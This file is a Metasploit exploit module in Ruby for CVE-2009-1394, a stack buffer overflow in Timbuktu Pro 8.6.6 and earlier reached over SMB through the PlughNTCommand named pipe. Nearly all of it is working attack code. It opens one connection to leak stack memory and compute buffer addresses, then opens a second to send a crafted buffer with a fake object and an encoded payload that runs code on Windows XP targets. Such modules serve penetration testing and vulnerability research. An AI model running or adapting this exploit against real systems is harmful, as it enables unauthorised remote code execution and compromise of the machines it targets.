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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = GreatRanking
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  include Msf::Exploit::Remote::SMB::Client
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'Timbuktu PlughNTCommand Named Pipe Buffer Overflow',
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      'Description'    => %q{
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          This module exploits a stack based buffer overflow in Timbuktu Pro version <= 8.6.6
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        in a pretty novel way.
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        This exploit requires two connections. The first connection is used to leak stack data
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        using the buffer overflow to overwrite the nNumberOfBytesToWrite argument. By supplying
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        a large value for this argument it is possible to cause Timbuktu to reply to the initial
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        request with leaked stack data. Using this data allows for reliable exploitation of the
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        buffer overflow vulnerability.
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        Props to Infamous41d for helping in finding this exploitation path.
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        The second connection utilizes the data from the data leak to accurately exploit
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        the stack based buffer overflow vulnerability.
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        TODO:
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        hdm suggested using meterpreter's migration capability and restarting the process
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        for multishot exploitation.
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      },
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      'Author'         => [ 'bannedit' ],
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      'License'        => MSF_LICENSE,
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      'References'     =>
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        [
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          [ 'CVE', '2009-1394' ],
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          [ 'OSVDB', '55436' ],
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          [ 'BID', '35496' ],
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          [ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=809' ],
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        ],
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      'DefaultOptions' =>
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        {
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          'EXITFUNC' => 'process',
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        },
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      'Payload'	=>
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        {
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          'Space'	=> 2048,
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        },
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      'Platform'	=> 'win',
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      'Targets'	=>
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        [
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          # we use a memory leak technique to get the return address
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          # tested on Windows XP SP2/SP3 may require a bit more testing
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          [ 'Automatic Targeting',
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            {
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              # ntdll .data (a fairly reliable address)
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              # this address should be relatively stable across platforms/SPs
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              'Writable' => 0x7C97B0B0 + 0x10 - 0xc
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            }
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          ],
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        ],
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      'Privileged'		=> true,
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      'DisclosureDate'	=> '2009-06-25',
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      'DefaultTarget'	=> 0))
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    deregister_options('SMB::ProtocolVersion')
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  end
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  # we make two connections this code just wraps the process
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  def smb_connection
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    connect(versions: [1])
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    smb_login()
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    print_status("Connecting to \\\\#{datastore['RHOST']}\\PlughNTCommand named pipe")
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    pipe = simple.create_pipe('\\PlughNTCommand')
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    fid = pipe.file_id
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    trans2 = simple.client.trans2(0x0007, [fid, 1005].pack('vv'), '')
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    return pipe
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  end
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  def mem_leak
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    pipe = smb_connection()
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    print_status("Constructing memory leak...")
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    writable_addr = target['Writable']
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    buf = make_nops(114)
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    buf[0] =  "3 " # specifies the command
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    buf[94] = [writable_addr].pack('V') # this helps us by pass some checks in the code
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    buf[98] = [writable_addr].pack('V')
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    buf[110] = [0x1ff8].pack('V') # number of bytes to leak
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    pipe.write(buf)
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    leaked = pipe.read()
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    leaked << pipe.read()
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    if (leaked.length < 0x1ff8)
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      print_error("Error: we did not get back the expected amount of bytes. We got #{leaked.length} bytes")
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      pipe.close
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      disconnect
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      return
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    end
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    offset = 0x1d64
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    stackaddr = leaked[offset, 4].unpack('V')[0]
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    bufaddr = stackaddr - 0xcc8
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    print_status "Stack address found: stack #{sprintf("0x%x", stackaddr)}  buffer #{sprintf("0x%x", bufaddr)}"
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    print_status("Closing connection...")
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    pipe.close
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    disconnect
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    return stackaddr, bufaddr
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  end
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  def exploit
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    stackaddr, bufaddr = mem_leak()
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    if (stackaddr.nil? || bufaddr.nil? ) # just to be on the safe side
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      print_error("Error: memory leak failed")
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      return
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    end
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    pipe = smb_connection()
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    buf = make_nops(1280)
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    buf[0] =  "3 "
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    buf[94] = [bufaddr+272].pack('V') # create a fake object
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    buf[99] = "\x00"
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    buf[256] = [bufaddr+256].pack('V')
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    buf[260] = [bufaddr+288].pack('V')
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    buf[272] = "\x00"
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    buf[512] = payload.encoded
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    pipe.write(buf)
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  end
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end
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